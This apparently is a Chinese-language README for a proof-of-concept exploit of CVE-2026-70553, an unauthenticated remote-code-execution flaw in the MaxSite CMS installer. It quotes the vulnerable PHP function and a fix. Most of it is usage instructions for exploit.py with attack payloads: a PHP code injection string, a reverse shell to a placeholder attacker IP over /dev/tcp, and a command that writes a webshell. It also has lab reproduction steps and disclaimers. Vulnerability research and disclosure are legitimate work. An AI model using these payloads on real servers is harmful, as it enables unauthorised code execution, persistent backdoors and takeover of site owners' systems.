CVE-2026-70553 概念验证:通过安装端点向 database.php 持久化注入 PHP 代码,实现未认证远程代码执行。
本 PoC 仅用于教育和授权安全研究目的。作者不对因使用此代码造成的任何滥用或损害负责。仅对您拥有或已获得明确书面授权的系统进行测试。
MaxSite CMS 105.2 至 109.5 版本的安装端点存在严重的未认证远程代码执行漏洞。db_dbprefix 参数在未经过滤的情况下直接拼接到 PHP 代码中,攻击者可以向 application/config/database.php 注入任意 PHP 语句。由于该文件在每次请求时都会被包含,注入的代码可实现持久化 RCE。
在 install/installer/functions.php 中,newDatabase() 函数构造 database.php 内容时:
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... 其他替换 ...
// 漏洞点:$PV['db_dbprefix'] 无任何过滤直接拼接
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
注入如下 payload:
db_dbprefix=mso_'; system('id'); //
生成的 database.php 变成:
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
单引号闭合字符串,注入任意 PHP 代码。
修复方式是增加检查,防止重复安装:
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // 新增检查
{
// 仅当 database.php 不存在时才创建
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# 检测目标的 install 端点是否可访问
python3 exploit.py http://target.com --check-only
# 使用默认 payload 利用(创建 poc_test.txt)
python3 exploit.py http://target.com
# 自定义 payload:反弹 shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/攻击者IP/9001 0>&1\"");'
# 自定义 payload:写入 webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd 要注入的 PHP 代码(默认:文件写入测试)
--check-only 仅检测 install 端点是否可访问
--db-host 数据库主机(默认:localhost)
--db-user 数据库用户名(默认:test)
--db-pass 数据库密码(默认:test)
--db-name 数据库名(默认:test)
关键提示: 此漏洞在实战场景中存在严重的实际限制。
/install/ 目录未删除)newDatabase() 函数仅在表不存在时才调用install/installer/post.php 中通过 checkTableExists() 检查newDatabase() 永远不会被调用/install/ 可访问,通往注入的代码路径被表存在检查阻断在受控环境中验证此漏洞:
# 1. 下载漏洞版本
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. 启动 PHP 内置服务器
php -S 127.0.0.1:8000
# 3. 在另一个终端运行利用脚本
python3 exploit.py http://127.0.0.1:8000
# 检查 database.php 是否被修改
cat application/config/database.php | grep dbprefix
# 应看到注入的代码:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# 触发执行
curl http://127.0.0.1:8000/
# 验证测试文件已创建
curl http://127.0.0.1:8000/poc_test.txt
本项目基于 MIT 许可证发布。详见 LICENSE。
注意: 始终遵循负责任披露原则,仅对获得授权的系统进行测试。